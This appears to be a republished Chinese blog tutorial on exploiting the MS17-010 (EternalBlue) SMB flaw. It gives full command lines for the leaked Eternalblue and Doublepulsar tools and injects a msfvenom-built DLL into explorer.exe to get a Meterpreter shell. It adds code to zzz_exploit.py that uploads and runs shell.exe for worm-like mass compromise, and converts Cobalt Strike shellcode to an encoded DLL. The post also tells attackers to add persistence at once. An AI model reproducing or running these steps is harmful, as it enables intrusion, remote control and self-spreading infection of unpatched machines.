其他分享
首页 > 其他分享> > 10.MS17-010的各种利用操作

10.MS17-010的各种利用操作

作者:互联网

一、Metasploit中的ms17-010:

 

  可以直接search查看,MSF之前的写过了就不再赘述了。

 

   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

   针对MS17010集成以下3个工具EternalRomance 永恒浪漫 、EternalSynergy 永恒协作 、EternalChampion   永恒之冠,来执行OS命令的辅助模块

 

   1  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection

   扫描是否存在MS17010漏洞

 

   2  exploit/windows/smb/doublepulsar_rce           2017-04-14       great    Yes    DOUBLEPULSAR Payload Execution and Neutralization

   针对别人已经安装好后门之后的利用模块

 

   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

   针对存在MS17010关于永恒之蓝x64的windows 2008R2/windows 7的利用模块

 

   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+

   针对存在MS17010关于永恒之蓝的windows 8+的利用模块

 

   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

   针对MS17010集成以下3个工具EternalRomance 永恒浪漫 、EternalSynergy 永恒协作 、EternalChampion   永恒之冠,来获取shell的漏洞利用模块

 

二、NSA原版ms17-010:

 

1、原版ms17-010的下载和配置:

 

  原版的ms17-010胜在比较稳定,相比MSF那个更不容易蓝屏。

 

  下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation

 

  下载后,将工具包中以下三个目录中的文件拷贝到同一个目录中(因为64位系统是支持32位的,所以直接复制32位的就好了):

  windows\lib\x86-Windows\

  windows\specials\

  windows\payloads\

  然后在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml

 

  2、执行命令:

 

①Eternalblue-2.2.0.exe --TargetIp 10.10.24.231 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt

 

②Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 10.10.24.231 --TargetPort 445 --DllPayload msf_241.176_x86_8080.dll --DllOrdinal 1 ProcessName explorer.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll

 

  其实我们可以直接输入Eternalblue-2.2.0.exe --help查看具体命令

 

  注意,在第一条命令中:

--TargetIp 10.10.24.231           //写对方的IP

--Target WIN72K8R2              //是win7的意思,如果是xp就改为--Target xp,如果是2003直接用MSF那个就好了

--NetworkTimeout 60             //设置超时时间

--TargetPort 445                   //设置目标端口

--MaxExploitAttempts 3       //设置攻击尝试的次数,这个数值可以调大一些,攻击几百上千次都是有可能的

--OutConfig outlog.txt          //日志

其他的参数都是默认的不用更改

 

然后在cmd中执行第一条命令(注意执行命令要在正确的路径下,可以用ctrl+shift+右键在当前目录打开cmd),出现下面的否会结果就说明后门安装成功了

 

 

 

 

  第二条命令:

然后我们就可以用第二条命令,通过后门传送一个rundll的马过去,注意第二条命令的--TargetIp要与第一条命令的一致,其他的参数不用动,其中:

 

ProcessName explorer.exe                          //是注入的进程

--Architecture x64                                        //是64位系统,可以按情况改为x86

--DllPayload msf_241.176_x86_8080.dll     //这个pyload是msf用msfvenom生成的,命令忘了可以看看前面的msf笔记。dll文件生成后直接放到Doublepulsar-1.3.1.exe同目录下即可(也就是之前三合一生成的目录),否则要写绝对路径。

 

此外,如果利用msf生成dll文件,执行第二条命令之前别忘了在msf上用hindler开启监听。

执行命令后,MSF就出现meterpreter了

 

 

 

这个稳定性很高,当然还是有少数机器会重启(但重启不会立即执行),因此在执行MSF或CS生成的dll并弹回shell后必须马上输入添加启动项的命令,因此最好事先敲好命令直接复制进去执行

 

3、ms17-010的批量自动化渗透

 

  文件下载地址:https://github.com/LFODER/MS17-010

  解压后看到zzz_exploit.py文件,该会在C盘根目录创建 pwded.txt 文件,可以修改它来执行你的Payload。

 

  这里我们直接打开zzz_exploit.py文件,看到这里:

 

  我们也可以在这串代码后面加上:

smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')     
service_exec(conn, r'cmd /c  c:\\shell.exe')

  这两行代码的意思是通过SMB发送文件,将 本地的 /opt/shell.exe 发送至被攻击机器的 C:\shell.exe 并执行 shell.exe 。那么这里的shell.exe是从哪来的呢,MSF的msfvenom懂的都懂,不记得的回去看一下MSF怎么创建文件的。

  最终,在命令行终端 输入 python zzz_exploit.py  [IP]  来实施攻击。

 

  被攻击机器会收到来自攻击机发送的恶意文件并执行,从而自动化渗透,实现蠕虫病毒的效果(别忘了msf上开启监听)。

 

三、Cobalt Strike DLL用于永恒之蓝注入 

 

1、原因:

  我们在对存在MS17010的漏洞主机进⾏DLL注⼊的时候,⼀般都是⽤的Meataploit的msf venom⽣成出来的,所以每次上线之 后基本都是要经过相对⽐较繁琐的操作之后转到Cobalt Strike去,这样就会显得⾮常⿇烦。所以可以使⽤metasploit的msf venom来把Cobalt Strike⽣成的bin转成DLL。

 

2、具体操作:

  先用Cobalt Strike建立一个bin文件

 

 

 

  生成文件后,打开msf,用命令将这个bin文件转化为dll文件

  转化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll

 

  此时,这个 shell.dll ,就能⽤于在进⾏永恒之蓝的漏洞的dll注⼊了。

 

3、转化命令的更多了解

  msfvenom命令参数⾮常多,还有就是要注意你的shellcode是x64还是x86,那么你在⽤msfvenom的时进⾏变换。 其实转化⽅法⼀共分两种:

   ①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll

   ②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -

 例子:

    cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -

 

  注意:

  Error: Initialization vector is missing

  解决⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.

  msfvenom使⽤aes256加密时,--encrypt-key长度 为32,--encrypt-iv长度为16位

 

  此外我们也可以用msfvenom -h 查看参数

标签:10,exe,--,dll,010,windows,shell,MS17
来源: https://www.cnblogs.com/Thorndike/p/15242477.html